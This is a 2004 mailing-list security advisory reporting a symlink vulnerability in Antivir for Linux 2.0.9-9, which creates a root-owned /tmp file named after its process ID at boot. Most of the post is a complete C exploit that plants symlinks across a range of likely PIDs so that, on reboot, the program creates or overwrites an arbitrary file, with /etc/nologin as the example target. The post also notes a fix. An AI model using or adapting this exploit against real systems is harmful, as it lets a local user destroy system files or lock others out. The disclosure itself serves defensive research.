From: Rene (l0omexcluded.org)
Date: Tue Jan 13 2004 - 12:37:30 CST

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discovered and written: l0om <l0omexcluded.org>
 date: 13.01.2004
 risk: medium
 page: www.excluded.org
 
 symlink vul for Antivir / Linux Version 2.0.9-9
(maybe lower)
 
 antivir gets started on bootup and creats a tmp file
(/tmp/.pid_antivir_$$ - where
 $$ is the process id). the file got read/write
permissions for the superuser
 and nothing more. the file gets created and wont be
delted till the system reboots.
 well- as most of us know is the PID of a process is
not on ervery reboot the same.
 so the PID of the antivir process goes +/- 10-20.
 
 if we creat a link with the correct name
(expamle .pid_antivr_1204) which points
 somewhere to the system, it will create or overwrite
the destination of our
 symbolic link.
 
 this exploits should work for most rebooting
systems, as we guess the pid of the
 new process will be greater than 1000 and less than
2000. for better usage take
 a look at the running procces ID and set the defined
START -20 and END +20.
 sometimes one reboot does the job and sometimes it
takes two reboots.
 
 i think the programmers could use the same method
like the guys from xmms. before
 they creat anything they first "unlink" the filename
in the /tmp dir.
 
 
 greets proxy, sirius, takt, maximilian, !ntruder,
fe2k, dna, feem, cyniker, xnet and the rest of
excluded!
 
 example:
 ./antisys /etc/nologin
  (reboot)
  ls -l /etc/nologin
  rw------- root root /etc/nologin
 
 have phun!
 
 *******************************************************************/
 
 #include <stdio.h>
 #include <unistd.h>
 #include <string.h>
 
 #define PATH "/tmp/.pid_antivir_"
 #define START 1000
 #define END 2000
 
 int main(int argc, char **argv)
 {
 int i;
 char buf[150];
 
 printf("Antivir 2.0.9-9 exploit - written by l0om
\n");
 printf(" WWW.EXCLUDED.ORG\n\n")
 
 if(argc != 2) {
 printf("usage: %s <destination-file>\n",argv[0]);
 exit(0xff);
 }
 
 printf("### hit enter to create or overwrite file %
s: ",argv[1]); fflush(stdout);
 read(1, buf, 1); fflush(stdin);
 
 printf("working\n\n");
 for(i = START; i < END; i++) {
 snprintf(buf, sizeof(buf),"%s%d",PATH,i);
 if(symlink(argv[1], buf) == -1) {
 fprintf(stderr, "cannot creat symlink from %s to %s
[Nr.%d]\n",buf,argv[1],i);
 fprintf(stderr, "skipping...\n");
 }
 }
 printf("\ndone!\n");
 printf("on the next reboot we hopefully create or
overwrite %s\n",argv[1]);
 return(0x00);
 }
 

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